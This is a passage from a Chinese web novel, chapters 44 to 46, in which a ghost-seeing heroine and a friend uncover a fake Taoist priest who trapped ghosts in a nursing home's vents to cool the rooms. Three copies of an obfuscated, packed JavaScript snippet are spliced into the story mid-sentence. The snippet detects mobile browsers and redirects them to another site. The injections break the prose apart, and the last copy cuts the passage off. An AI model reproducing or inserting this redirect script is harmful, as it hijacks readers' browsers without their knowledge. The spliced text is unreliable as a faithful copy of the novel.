他们大多已经没有了时间和空间的概念，甚至对熟悉的亲人也已经记不清了，仿佛回到了几岁的孩童时期，他们虽然不一定是说谎，但极大可能是胡编乱造，梦到哪句说哪句。 林招芙摇摇头，接道：“我们本来也以为是的，可之前有一次左毅忙，我去看望方爷爷的时候……他也说过类似的话。” “说了什么？” “他的神志清晰，不太像是脑子糊涂的人。”林招芙仔细回忆着，“当时他正好在吃饭，吃着吃着忽然指着窗户外面，说大树下站着一个人，那人脖子上好像是系了个白围巾？反正不断地重复着一句话……” “谁愿意留下来陪我？” “谁愿意留下来陪我？” 客厅中的温度都仿佛下降了一些。 好在剩下的四个人都是不怕鬼的，略微紧张的氛围里，只有对养老院闹鬼事件的好奇。 简灵问道：“养老院最近有没有出过怪事？或者离奇死亡？” “没有。”左毅摇头，“我专门问了，都是正常死亡或者突发疾病的，没有什么奇怪的案件或者事情发生。” 林招芙有些惭愧：“说实话，我当时也以为是方爷爷有些老年痴呆了，是胡说八道的，毕竟他也看不见鬼……可没曾想过几天人就没了。” 她记得简灵之前说过，老年人在临终前一段时间，可能会短暂地受到阴阳两界的气息影响，说不定是能看见鬼的。 养老院中不乏年纪大的老年人，随时都有可能因为疾病或者自然死亡，好几个人都这么说，应该是真看见了什么奇怪的东西。 他们两人对视一眼，虽然经历过很多死亡和告别，但自己真遇上了却仍然不好受。 左毅的眼眶有些红，他闷声道：“别的倒还好，我就怕真有厉鬼缠身，让爷爷的魂魄不得安宁……他苦了一辈子，就盼望他平平静静地离开。” 44. 安康养老院 安康养老院其实已经不在华丹市内了，而是在华丹边上一个安静的小县城里。 因为紧贴着华丹市，生活也算便利，但物价租金比市里便宜不少，大多都是低矮的房子，绿树成荫，是个极适合养老生活的地方。 因为剧组的戏正拍到了关键时刻，谢慈作为重要的武指也留在了剧组，没跟着简灵一起行动。 简灵和左毅一大早便驱车赶来，本来家里某个大少爷也想跟着一起，却被简灵视为添乱，强硬地将他留在家里抓瞎。 两人站在门口，老式的铁栅栏门将一个大约800米操场那么大的院子围了起来，四周是一排排像职工大院一样的二层小楼，没有尖锐的绿化栏杆，没有错落难行的石阶，唯一的一层阶梯也都做了缓坡处理，看得出是一所很用心的养老院了。 左毅跟门房的保安师傅说明了来意，只说是来给方爷爷收拾遗物的，保安也眼熟，没多问就将二人放了进去。 刚好到了老人们吃完早饭出来遛弯儿的时候，大院里还挺热闹，有些腿脚不便的还有护工帮忙推出来转悠。 可一进到联排房内，简灵就感觉到了不对劲。 虽说是秋高气爽的日子，可这房里也太冷了吧，连他俩都不由得打了个哆嗦。 左毅跟负责人打了个招呼，领到了房间钥匙，便迅速退了出来。 “你之前来有这么冷么？”简灵轻声问道，跟着他走在外间的走廊上。 “是不是因为降温了？”左毅疑惑道，“之前夏天来只觉得很凉快，不开空调也很舒适，养老院的人说这种自然的凉爽比较适合老人。” 简灵轻哼一声：“谁告诉你这是自然的凉气了。” 左毅一怔。 难道这养老院真有问题？ “这冷意可不是因为什么自然环境好，而是阴冷之气。”简灵不动声色，四处打量着，空气中的鬼气其实不怎么浓郁，只是却不知为何会有源源不断地阴冷的感觉传出来。 打开原先方爷爷住的房间，推开门就听见嘎吱一声，低头一看，居然满地黄黄白白的纸质圆片，状似铜板的模样。 简灵一愣，墙上也贴着好几张各式符纸一样的东西，还混着些纸花。 房间里门窗紧闭，本就阴冷极了，配上这一屋子东西看起来更加瘆人。 “……这不会是在超度或者祈福吧？” “是的。”左毅见怪不怪地点了下头。 “啊，不好意思，是不是吓到你们了。”身后的走廊传来一个抱歉的声音，负责人张叔匆忙赶来，看到简灵明显发愣的表情，歉意更深。 他手忙脚乱地拉开窗帘，打开窗户，让微风吹进屋里，这才吹散了些那古怪的感觉。 张叔约莫四五十岁的模样，看起来是个有福泽的人，可神色却有些疲倦，不知是不是工作太劳累了。 “我们养老院每次有人去世了，都会请附近的老道长来做法祈福，也是给其他老人一个安慰。”张叔歉疚地看着二人，“上次我以为你已经收拾完了，正好老道长也有空，便让他来做了法事。” 左毅摇摇头：“我……来看看还有什么遗漏的，主要是她，她……” “哦，我祖母年纪大了，我们也想给她找个舒服的养老院，听左毅说你们这儿还不错，就与他一起来看看。”简灵笑眯眯地胡说八道。 “原来如此，随便看随便看……没吓到你吧？” 简灵不在意地摆摆手，似笑非笑道：“没事，只是没想到你们考虑得还挺周到的。” “那是自然。”张叔腼腆地笑了笑，“我们养老院是华丹附近口碑最好的了，性价比也高，一定给来这儿居住的老人提供一个最舒适的环境。” 舒适是舒适，就是阴气挺重的。 简灵心里吐槽道，背着手假装四处瞧瞧，走到窗边向外望去。 养老院的后院杂草丛生，还有些桌椅板凳东倒西歪的，正中间有一颗冲天巨树，树冠成荫，遮天蔽日，将整个后院的阳光遮得严严实实。 大树就在房间的正窗外，离窗户也就不到十米的距离，方爷爷当时应该就是看到这棵树下有鬼。 此时的树下什么都没有。 简灵摸了摸鼻尖，不经意问道：“后院就这么空着，不浪费吗？” “哦，要开放的。”张叔瞧了一眼，解释道，“之前有个导演来我们这儿借地方拍电影来着……好像是个八九十年代背景的电影吧，我们这儿环境也合适，走了之后我们想着把后院重新修整利用起来，就订做了一些复建的器械，还没到呢。” “那还挺好的。”简灵假装搓了搓胳膊，问道，“诶对了，房间里怎么感觉这么凉啊，是开了制冷吗？” “没有没有，我们房间里都装了特殊的通风系统，跟供暖管道一体的，加上附近自然环境好，能在大热天的时候让大家不开空调也能觉得凉爽，等过些时天冷了，供暖也就开了。” 张叔真当简灵是潜在客户来的，仔细给她介绍着，什么保温墙体啊双层窗户啊之类的，总之就是入住不亏。 忽然外面院子里有几个老人看到了张叔，热情地喊他：“小张啊，小张快来，帮我们看看这个！” “啊，来了啊！”张叔犹豫一阵，看了看简灵，“这个……” “您先去忙吧，别让老人家们都等急了。”简灵摆摆手，指指左毅，“他熟，也很推荐这里的，我先让他带着看看。” 张叔露出一个无奈的笑容：“老人家们都跟小孩子似的，有时候会有点耍脾气，我一般都会哄着他们，不过他们也很好，都把我当儿子对待……那我先去看看啊，有什么事儿喊我。” 简灵送他出去，顺手带上了门，脸上的笑意瞬间消失。 “怎么回事，有问题？”左毅沉声道。 “问题……太多了。”简灵真是有些无语，一时之间竟不知道该从何吐槽起。 她附身捡起地上一片白色圆片，又顺手撕了墙上的符纸，捏在手中晃了晃，又好气又好笑：“首先，这玩意儿……这玩意儿它都是假的！” “假的？”左毅也撕下另一张符纸，上面用红色墨水画着一些他看不懂的图样和文字，他在简灵那儿也见过，不过都看着差不多。 “不知道从哪儿请的假道士。”简灵啐了一口。 这种坑蒙拐骗的假道士、假和尚还真不少，毕竟大多数人也都只是求个心理安慰。 就像养老院中为去世的老人“祈福”，他们也不知怎么才算是真祈福或者超度了，反正请个“大师”做做法事就行。 “这些纸钱估计都是在网上批发的吧，这符……这符也不知道是不是他自己乱写的，反正看起来有模有样，但实际上根本不是这么个画法。” 左毅恍然：“我之前来也碰到过几次，看来那个假道士不是第一次坑他们了。” “待会儿问问，去找他算账——你先看那儿。”简灵的目光指向墙壁顶上的一个角落，那儿就是张叔说的“通风系统”。 一个老式的、简单的通风管道。 左毅思索道：“夏天来的时候还没觉得不对劲，这几天降温了才发现，这里真是冷的不自然。” “是吧，就这么个老式的通风管道，哪能做到比恒温恒湿高科技系统效果还好的啊？” 她轻轻眨了下眼，色彩尽褪，空气中稀薄的鬼气也逐渐显现出来，果然都是从那个通风口散发出来的。 看到她的动作，左毅很有默契地搬来旁边的桌子，放在通风口的下面。 “好像够不到。”他大致比划了下高度，“我托着你上去吧。” “不用。” 简灵往后退了半步，助跑，踩着桌子轻松跳了上去，手紧紧地勾在通风口的边缘，两条腿在半空中荡着。 “……小心。”左毅下意识上前，伸出双臂，虚虚地护在她腿边。 通风口很小，简灵的手指伸进网格中，腰部收紧猛一使力，终于看到了通风口里面。 狭窄的通风管道中黑漆漆的，也没有“通风”的感觉，只有一阵阵阴气从中慢悠悠地传出来。 简灵眨了眨眼，正对上一双绿幽幽的眼睛。 那双眼睛也眨了眨，随即发出尖锐爆鸣：“——啊啊啊妈妈呀阴差要来杀人了！！” 别人是听不见，可简灵却能听见鬼的声音，好多鬼哭狼嚎在狭窄的通风道中不断地回响震颤，震得简灵一个手抖，差点没摔下去。 “别鬼叫了！” 简灵头皮发麻，受不了了，直接将第一眼看到的那只鬼从通风道里揪了出来。 鬼影是成年人一样的大小，在通风道里本就挤成一团，此时更像是果冻般Q弹弹地从网格中挤了出来，发出一连串“啵——”的声音。 简灵忍不住笑出声，轻盈地跳下来。 那鬼影好像不可置信般看了看自己的手，又蹦跳了几下：“我出来了……？” 说完它蹭的一下跳到通风口前面，伸头往里钻，简灵以为它要跑，赶紧一把揪住它的腿。 可那只鬼只冲着里面喊：“我出来了！！！朋友们！同志们！我！出来了！” 简灵一愣，只见它钻出头来看了一眼房间号，又钻了回去：“在1024号房！这儿有人能把我们弄出来！快来啊朋……” 话还没说完，简灵一把将他拽了下来。 她瞪着它，面无表情地威胁：“再喊杀了你。” 鬼影瑟缩了一下，嗫嚅道：“对、对不起……” 可这话已经说晚了，只听见通风管道里传来微微的震颤声，没一会儿就看到管道口那儿挤着好几双绿幽幽的眼睛，正眨巴眨巴，渴望又羡慕地看着屋里那只。 简灵：…… 幸好别人看不见，不然又得传成恐怖故事。 她无语地往床边一坐，抱臂冷冷问道：“你是谁？” 那鬼影感受到了简灵身上的吓鬼的气息，跟小鸡仔似的站在一边，垂下头老老实实地说道：“我叫王思备，英勇又无畏，今朝有酒今朝醉。” 简灵一脚踹过去：“醉你个头啊醉，说人话！” 王思备：“阴差大人，我是鬼。” 简灵扶额，第一次感觉跟鬼难以沟通。 “你。”简灵指着它，又指了指通风口那几双眼睛，“还有它们，你们为什么会在通风管道里，是被人关进去的？” “是的是的阴差大人，我们被一个臭道士关进去好久了！”王思备连连点头，义愤填膺，“他还偶尔会换一批鬼，我怀疑，臭道士在拿我们做……鬼体实验！” 简灵“噗”一下，差点一口水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16529297|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没喷出来，猛地咳嗽了几下。 左毅默默地帮她拍了拍背。 他知道现在在跟鬼沟通，但他看不见也听不见，帮不上什么忙。 “没事没事。”简灵摆摆手，又问道，“道士的事儿先放一边，最近这个养老院经常有老人说看到鬼了，是不是你们搞的鬼？” “啊？应该不是吧……”王思备挠了挠头，“我们都挤在通风管里呢，出不来，不过臭道士抓出来的那些鬼我们就不知道去哪了。” 看来老人们无意中看到的鬼都跟那个道士有关了，不过幸好，她又检查了一番，整个养老院的鬼气都集中在通风管道里，而且都是些不知道从哪儿抓来的鬼，方爷爷的魂魄应该早就离开了。 跟左毅说明了情况，他也放心下来。 简灵被王思备求得没办法，查了一下通风管道，果然是被人下了禁锢的法诀，让这些鬼只能在里面乱窜。 看来那个半吊子道士还是会点东西的。 “阴差大人，你行行好把大家都放出来吧，我们真啥坏事也没干。”王思备双手合十对着简灵鞠躬求饶。 简灵问它是怎么被抓过来的，王思备挠了挠头：“我生前就喝了点酒醉倒在路边，再醒来就变成鬼了，还茫然着找家呢就被那个臭道士抓到了。” “他也没说要干嘛？” 通风管道里的鬼影都跟着摇了摇头。 简灵思忖片刻，伸手抓住王思备又将他塞了回去。 王思备：……？？？ “不是！你又把我弄回来干嘛啊！”它真是欲哭无泪，好不容易以为能走了，结果又回来了。 “放心放心，我弄清楚了情况会把你们都送走的，亲自超度你们。”简灵呲牙一笑，“但是现在不能打草惊蛇。” 无视了王思备它们的鬼哭狼嚎，简灵和左毅打听了一下那个道士的情况，便匆匆离开了养老院。 说那道士平时就在附近的一间老道观里，很容易就找到了，只是他们敲了敲那扇破门，却没人应。 两人对视一眼，简灵伸手推开。 大白天的，这破败的道观一个人都没有，竟也不锁门。 “有人吗？”简灵喊道。 回应他们的只有空荡荡的回声。 这间道观看起来应该是很久没人来上香火了，里里外外都很空旷，堆着些杂物，只有中间那座天尊像面前还像模像样地供奉着些快要烂掉的水果。 简灵皱起眉头：“这假道士，连表面工作都不愿意做吗？” 虽说她跟着师傅一脉修习，跟修道也不是一门的东西，可她对于他人的信仰还是持一种尊重的态度的。 再怎么样也不会打着幌子去坑蒙拐骗。 左毅转到后面去找了一圈：“没人。” “这里也没什么古怪的气息，也没有鬼，不知道那骗子跑哪去了。”简灵“啧”了一声，别是溜了吧。 忽然，从门外传来脚步声，很快一个穿着破破旧旧的小孩溜了进来，大声喊道：“老余叔！老……” 看到观里两个陌生的面孔，小孩赶紧闭上嘴，一双大眼睛滴溜溜地转，好奇道：“你们是谁呀？” “我们来找骗……道长的。”简灵差点咬到自己的舌头，摸了摸鼻尖，“安康养老院介绍我们过来的。” 小孩“哦”了一声，看了一圈：“他又不在啊？” “对，我们进来就没看到他人，你知道他去哪儿了吗？” “他白天经常……”小孩挠了挠头，狡黠地一笑，“我可以告诉你们怎么找到他，但你们要请我吃饭。” 简灵挑眉。 还挺会做买卖。 本以为小孩要坑一顿大的，可没想到他只是把他们领到了小县城唯一的一家……肯德基。 “你要吃这个？”左毅皱起眉头。 小孩还挺怵这个看起来一脸狰狞的大高个，咽了下口水，往简灵身边靠了靠，壮起胆子反驳：“不、不行吗？！” 左毅淡淡地摇摇头：“不健康。” “别扫兴。”简灵用手肘撞了下他，“小孩子就爱吃这个。” 左毅一怔。 好像确实没错，他小时候跟着方爷爷生活，虽然没有穷到吃不起饭的地步，但看广告里那喷香的汉堡和炸鸡也会眼馋。 他低头，小孩身上的衣服很旧了，卡通印花都有些褪色。 “你叫什么名字？” 小孩愣了下：“告诉你就能吃了吗？” 左毅的脸上难得浮起一丝笑意：“嗯。” 当然结果是双赢的，张小楠用消息换来了一顿肯德基，抓着汉堡大快朵颐。 “你是说，他平时白天不在观里，都回家睡觉了？” 张小楠嘴里塞着汉堡，呜呜哇哇地表示自己也不知道他家住哪儿。 简灵不禁心生疑惑，看这道观的样子也不像有人回来供奉香火的，更不会有人晚上来吧？ “晚上在观里干什么啊，总不能有人晚上来供奉香火吧。” “没有没有。”张小楠摆摆手，狠狠咽下嘴里的食物，“他要靠别人供奉香火挣钱早就饿死啦！” “那他靠什么挣钱？” 张小楠喝了一口可乐，咂摸两下嘴：“老余叔那么厉害，当然是捉鬼啦！” 45. 抓骗子 既然是捉鬼，那一般都会选在一个月黑风高的夜晚了。 夜色降临，约莫时间到了，张小楠便带着二人去找那个骗子。 张小楠只当他们真是来请余道长做法事的，一路上吹嘘得那叫一个滔滔不绝，还说他经常去捉鬼拿来炼丹，为民除害，这小县城里的大家遇到什么看风水、驱邪祈福的事情，没有人不找他的。 “……炼丹？” 左毅看向简灵，她的表情很微妙，上扬的嘴角都快压不住了。 可张小楠欣然点头，很是相信余道长的样子：“他说那些鬼留在人间本就会做恶，反正都抓了拿去炼丹，还可以增强体质，延年益寿。” “你吃过了？”简灵忍不住好奇。 “没有，老余叔说小孩子不要吃，还得自然长身体呢。” 简灵噗嗤一笑。 什么长身体，那骗子怕是拿这些东西去高价卖了吧，才舍不得给一个没钱的小孩子吃。 “简灵。”左毅稍稍靠近了些，低头轻声喊她，用眼神表达疑惑。 简灵轻轻地摇头，用口型示意：骗子。 只是既是骗子，那他捉鬼藏在安康养老院是为了什么啊？ 本以为是要回到那间破观中，可张小楠却领着他们越走越偏辟，看着周围稀稀拉拉的几颗树，还有逐渐冷下来的空气，简灵的鼻尖微动：“我们这是要去坟地？” “聪明啊，姐姐。”张小楠人小鬼大，给了她一个夸赞的目光，“大晚上的要捉鬼，当然是去坟地里才有啊。” 一般的墓园坟地之类的都有不少徘徊在人间的鬼，有些是不愿意离开的魂魄，有些则是下葬后才形成的有意识的鬼魂，它们都受地缚的限制，不太容易变成怨鬼或者其他的鬼怪，大多都随着时间而逐渐消散。 可这处坟地的鬼还真不多。 简灵落后一步，蹲下来快速用手指划过土地，在这么晴朗的夜晚中，它们居然都躲进了墓中？ “看，老余叔在那儿呢。”张小楠忽然指着远处一个忙活的身影，正准备喊出声，却被简灵拦了一下。 张小楠疑惑抬头。 “别打扰道长，我们安静些过去。”简灵挑眉一笑。 那个老道长佝偻着背，头发花白，看起来倒是精神矍铄，穿着一身洗到泛白的袍子，也或许不是正经的道袍，只是随便从网上买来的那种。 他一手捏着一个黄色的葫芦，另一手在一个坟包上摸啊摸的，嘴里似乎念念有词，离得近了些才听清，果然如简灵所料，的确是捉鬼的法诀。 看来那些被关起来的鬼还真是他抓的，这个半吊子也会点东西。 只听余道长“呔”一声，从坟包里提溜出一只小鬼，惊慌乱叫手脚直扑腾，余道长无动于衷，顺手将他塞进了葫芦里。 接着故技重施，又挑了个小坟包摸索摸索，很快又提溜出一个，吓得小鬼直呼救命。 “救命啊！救——”小鬼被揪住颈后，像一只不愿意回家的犟种柴犬一般死命往前挣扎，正好看到了不远处的简灵，“阴差大人快救鬼啊！救救我吧！” 简灵：…… 鬼向阴差喊救命，真是一大奇观。 余道长“咦”了一声，才看到张小楠和身后来人，看了看手里的鬼，又疑惑地将目光在简灵和左毅中游移。 他一边盯着他们，手一边慢慢地、一点点地靠近葫芦，在两人恍若无物的目光中将鬼塞进葫芦里。 很好，没反应。 吓他一跳，还以为遇到阴差了。 余道长将葫芦别在腰间，站起来拍了拍手上的灰，轻咳一声：“小楠啊，这两位是？” “哦，老余叔，他们说是养老院介绍过来的。”张小楠登登几步跑过去，拽着他的腰带压低了声音，“我可是把你介绍到位了，如果挣了钱记得多请我吃几顿饭。” “人小鬼大。” 余道长悄悄给他了个脑瓜崩，清了清嗓子，走上前去：“两位既然能碰上张小楠，那必然也是天注定要贫道帮你们这一回，是遇到了什么麻烦吗？” 既然是养老院那边介绍过来的，无非就是祈祈福，做做法事之类的，小小的坑一笔，不在话下。 简灵似笑非笑地盯着他腰间的葫芦：“老道长刚才这是在做什么？” “抓些山野小鬼，不值一提。”余道长谦虚地摆摆手，一脸意味深长，故意捏着一副诡异的语气，“放这些小鬼在外头，净会害人，贫道收了它们也是做点好事，积点福。” 可没想到面前这个小姑娘一点儿也不怕，反而很有兴趣地问道：“听张小楠介绍，道长捉了鬼还会炼丹，吃了可以使人增强体质，延年益寿。” 余道长眼睛一亮，赶紧假装责怪地看了张小楠一眼：“你这孩子，怎么把这种事都说出去呢？求丹讲求一种缘分，既然与二位有缘，贫道手中确实还剩三颗救命丹，如果二位家中有年长的老人家，吃了保管可以多活几年。” 说着他摸出一个小瓷瓶，跟电视剧里那种装仙丹的瓶子一模一样。 “不过嘛，毕竟炼丹费心神又费道行，这个费用嘛……”余道长搓了搓手指。 简灵眨了眨眼，伸出手：“费用好说，你报价。” 余道长眼珠子一转：“看你爽快，给你打个折，一颗888，三颗打包只要2666，怎么样，贫道已经很让步了。” 说完还很大度地将瓷瓶放进她的手掌中。 两人沉默了。 这骗子是觉得他们数学不好吗？ 简灵还没开口，旁边的坟包中突然冒出一只小鬼头，结巴着大喊：“别、别信他！他是个骗子！” 余道长怒瞪它一眼，赶紧小心翼翼瞥了下简灵，发现她没反应，心中稍微松了口气。 可简灵却微微偏头，利落地从瓶子里倒出药丸，余道长赶紧“哎”一声：“钱还没付。” 话没说完，只见简灵指尖一用力，就将那几颗黑乎乎的丸子搓成了泥，一点儿不剩地扔到了脚下。 她抬起头来，粲然一笑：“我知道，因为我不准备给骗子钱。” 余道长心里一咯噔。 他行骗好几年了，向来到哪儿都受人尊敬，而且他骗的金额都小，几百块的没闹出什么人命就没什么人会追究，当面说他是骗子的这还是第一个。 “你……” “搓点儿面粉和黑芝麻就敢要价888一颗，是说你胆子大呢还是胆子小呢？”简灵毫不犹豫地打断他，语气渐冷，“还有给养老院那些假符纸，你真当别人都好糊弄？” 余道长后退一步，谨慎道：“同行？我跟养老院多年的生意，你、你想抢是吧？” “不不不。”简灵摇摇头，抬起手随意掐了个决，余道长腰间的葫芦发出剧烈的震颤，里面的鬼魂蠢蠢欲动，似乎关不住了，“我对骗子生意没兴趣，我就是想问问……被你关起来的那些鬼。” 听到这话，余道长哪里还不知自己遇上了硬茬，往后一蹦就要跑！ 一旁的左毅比他反应更快，长手一捞就揪着他的衣服领子，跟他揪鬼魂一模一样。 简灵伸手点了下他的葫芦，从里面“咻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗨呀，就是那安康养老院之前都不挣钱，换不起新空调，我就给他们想了个招，我抓点小鬼塞里头那阴气盛也算凉快不是？”余道长叽里咕噜说了一堆自己的“理论”，讲得头头是道，把简灵都给说愣了。 敢情这人是用阴气制冷呢？！ “你是不是有病啊！”简灵气笑了，“那鬼阴气是什么好东西？给那群非病即老的人接触时间长了不得折寿？！你缺不缺德啊！” 余道长瑟缩了一下。 本以为他这个半吊子是要抓鬼来干什么惊天动地的大事呢，没想到啊，这点子阴招都使老百姓身上了。 真难得给简灵都气得心脏疼，她插着腰缓了半晌：“他们老板知道吗？” “不、不知道……”余道长还试图解释，之前养老院的老空调坏了后正好请了他去修，他就想了这个歪点子让老板同意改造通风管道，“还省了以后的冷气费……一举两得不是？” “举你个鬼！”简灵一巴掌拍他脑袋上，“那些鬼魂们都被塞进那么小的地方，做鬼都要被你奴役，有没有点鬼权了！” 张小楠想试图帮老余辩解两句，被简灵凌厉的眼刀吓退。 想了半晌，她冷冷道：“你先去把它们都给放了。” 老余惊讶：“现在啊？” “现在立刻马上！”简灵一脚踹过去，两人连滚带爬地跑了。 46. 哪个剧组 “……哎哟！” “你小点声，一会儿把人吵醒了就报警来抓你。”简灵横他一眼，老余最后一个从后院围栏上翻进来，就连张小楠都很灵活，只有他摔了个屁股蹲。 老余揉了揉自己的老腰，敢怒不敢言。 还不是你非要大半夜来放鬼的。 他觑了一眼悄悄四处张望的张小楠，用气声骂道：“你跟来干嘛！大半夜不回家睡觉！” 张小楠拉着他的衣摆小声道：“我闯的祸，不能丢下你一个人嘛。” “算你小子还有点良心，肯德基没白吃。”老余无语，不过他一个小孩子，来了也是纯属添乱。 后院很久都没人打理过了，几人小心翼翼地绕过地上的桌椅板凳，朝联排楼边上的通风口走过去。 路过那棵大树时，简灵下意识地瞧了一眼，还是没鬼。 “哎，老余。”简灵轻声问道，“你之前来给通风管道换鬼的时候，换出来的鬼就随便在附近放了吗？” “那不能！我可没有随地乱扔鬼，都带回坟地那儿放了。”老余赶紧解释道，“养老院经常有人去世，鬼多了容易积起怨气，到时候真出事儿了我可对付不了。” 看来还有点自知之明。 她思索片刻：“最近养老院中有好多人都说看到鬼了，就在这后院里，你上次来的时候有没有发现什么古怪？” “我好像没见到啊……” 老余想了想，突然想起些什么事来，在冷风中不由得打了个哆嗦：“不对吧……那家伙不是早就走了吗？！” “那家伙？”简灵立刻警觉，难道养老院中还真有别的东西不成？ 老余紧张地四处看了看，勾勾手将几人凑到一起：“我之前来的时候见过一个，那鬼身上有股邪恶的气息……我那点半吊子道行，抓抓小鬼还行，对付那种……我没本事。” 简灵皱起眉头：“你是什么时候见到的？” “得有两三个月了吧？”老余抠了抠花白的头发，“那鬼看着倒也没有害人的样子，就只是站在院里念叨着什么‘留下来留下来的’……跟唱rap似的。” 两人对视一眼，这跟方爷爷看到的一样。 “你就没问问它？” “我不敢。”老余理直气壮道。 简灵无语：“……出息。” 老余一脸摆烂：“我可不像你，我就图个安安稳稳过日子，那一看就沾了恶鬼的因缘，我才不想跟它们扯上关系。” “那你怎么知道那家伙早就走了？” 原来老余见到那只古怪的鬼时，明显感觉它有些意识不清了，要么是快要消散转世，要么是即将……魂飞魄散，老余虽然道行不高，但眼界是有的，看鬼不会错。 说罢，老余抓紧时间把被关起来的鬼都给逮了出来，而简灵则是站在大树下若有所思。 沾了恶鬼的因缘。 鬼可以留存人间的时间太不固定了，老余也不清楚那只鬼的身份，现在鬼影无踪，很难判断这只鬼是什么时候、是在哪儿跟恶鬼有的交集。 趁着夜色，简灵盯着老余把抓到的鬼全都放了出来。 几人又回到那片坟场，她摸出那柄小小的三折叠拂尘，准备把这群倒霉的鬼一起全超度了，那只叫王思备的鬼没想到简灵真的回来救它们，千恩万谢地鞠躬。 “阴差大人，您上午不是提到养老院中有人见鬼了嘛，我刚才帮忙打听了下。”王思备踟蹰片刻，还是凑上前说了，“我们还真有鬼看见了……说是一个戴着白围巾的老鬼，不过没多久就没了。” “没了的意思是？” “就是散了。”几个见过的鬼七嘴八舌道，“它太弱了，估计是之前哪个去世老头的鬼魂吧，反正每天啥也没干，就一个鬼站那儿自言自语。” 既然已经魂散，那估摸着应该也没什么事。 * 第二天一早，两人才赶回市里，左毅还陪着简灵回到家中这才放心离开。 一打开门，季星迟那半瞎的眼神就如大灯一般投射而来。 “进来休息休息，吃个早饭？”简灵忽略掉身后的目光，对左毅客气道。 左毅摇了摇头：“回去补觉，晚上得值班，留招芙一个人看馆一天一夜了。” 说着他又直愣愣地看着简灵的眼睛：“多谢你，简灵。” “多大点事儿，说什么谢呀，以后别再犟种一样惹招芙姐生气了，有什么要帮忙的尽管说就行。”简灵笑道。 左毅“嗯”了一声，微微张嘴似乎有什么话想说，最终只看了一眼她身后的人，沉默着离去。 刚关上门，简灵就听到就从客厅传来怨灵般的声音：“有什么要帮忙的尽管说～” 她打了个呵欠，没好气地说：“大少爷有什么要帮忙的吗。” 季星迟淡淡道：“我当然没什么需要帮忙的，我只是一个瞎子而已，每天除了吃饭就是睡觉，还能有什么事呢，自然也不需要帮忙的。” 简灵：…… “哦。” 季星迟的目光追随着她去洗漱的背影：“老郑打电话来了。” “怎么了？”简灵检查了一下镜子，从卫生间里探出头来，“他们拍的差不多了，喊你去解约？” “……”季星迟的表情顿了顿，露出一个适当夸张的期待的表情，“如果解约了我下半辈子就吃你的喝你的，请你负责到底。” 简灵讪笑：“郑导这么爱你，怎么会解约呢。” “不过也确实是剧组的事情。老郑听说我的眼睛恢复得不错，邀请我去探个班，也算是给大家一个交代。”季星迟解释道，又指了指她，“吃完早饭你陪我一起去。” “为什么啊？”简灵将头发解开，随意梳了几下，“剧组又没闹鬼，我去干什么，不如留在家里补觉。” 季星迟：“因为我瞎。” “……行。” 她火速收拾了一番，阿姨将早饭的米线也端了上来，兴许是季星迟之前交待过，最近阿姨准备的饭菜都很丰富，每天不重样。 简灵一边嗦着米线，一边打开手机搜了搜安康养老院，大部分都是广告以及一些往期给老人们举办活动的宣传稿，确实也没什么闹鬼的都市传说。 季星迟吃了两口米线，又抬头看了看简灵，模糊的视野能让他几乎忽视掉除了她以外所有的东西。 忽然一个亮亮的东西怼到他脸上，令人难以忽视。 “——季星迟你看！”简灵惊道。 “……我看不见。”季星迟无奈地将她的手机从眼前拨开，“什么东西，你说给我听吧。” 简灵扔下筷子，快步绕到他旁边坐下，他只能大概看到她的手指在屏幕上划来划去：“你看这个！安康养老院曾经濒临倒闭，老客户们虽然都很满意养老院的氛围和服务，但这个状态下安康一直是负收益无法维持开支，直到接到了第一批慈善捐款……” 最近他们对慈善这两个字都快ptsd了，季星迟心中一紧：“难道是……” “安康养老院自己发布的宣传稿里有一张照片，是上一任老板和几个捐款人士的合照。”简灵的指尖缓缓移动着，定格在一个人身上，“这个，是吴青。” 而且上一任老板看起来年纪不小了，脖子上正系着一条白色围巾。 季星迟微微皱眉：“你去的时候有没有什么发现？” “没有……而且这个老板已经死了，说是因病去世。”简灵叹了口气，不仅死了，连鬼魂都消散了。 难怪老余说那鬼魂身上有恶鬼的气息，原来是跟吴青接触过。 “因病去世，这跟吴青的选择不一样。”季星迟思索道，“如果吴青选择了他，应该是同样下杀手。” 简灵摸了摸下巴，思忖片刻：“看时间应该是吴青刚回国的时候，或许是她想选择的第一个目标……但是没有成功下手？” “嗯……也或许是别的原因，这个老板跟吴青会有什么联系么？” 简灵迅速切换页面，重新搜索原老板的名字，可惜寥寥几许，没什么有用的信息，甚至从企业关联上也跟吴青隔着十万八千里，看起来只是吴青回国后刚开始做慈善时接触的第一个项目。 听到简灵略微失望的语气，季星迟安慰：“我让阿泰找人查一下，看看安康养老院在原来那位老板去世前后发生过什么事情，很快会有消息的。” * 两人没耽误多少时间，吃完早饭就去了影视城，秋高气爽正是拍戏的好时候，影视城的每个场景都被占据着，人来人往中，影视剧中的四季都在这儿交替完了。 看到两人走过来，郑文德先是一愣，随即与秦雨宁对视一眼，无奈地摇了摇头。 “星迟，你的眼睛怎么样了？”郑文德赶紧让两人坐下，关心地问道。 秦雨宁一身锦绣华服，头上戴满了繁复的珠钗头饰，俯身下来，一手扶着沉重的脑袋，另一手在季星迟的眼前摆了摆手：“能看见了吗，大少爷？” “大少爷？”季星迟笑了笑，偏头瞥了一眼简灵，后者则当没听见似的眼神在场内乱飘。 秦雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 